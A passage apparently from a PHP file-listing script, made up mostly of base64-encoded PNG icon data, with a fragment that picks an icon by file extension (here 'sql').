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"; } elseif ($ext == "sql") { echo "data:image/png;base64,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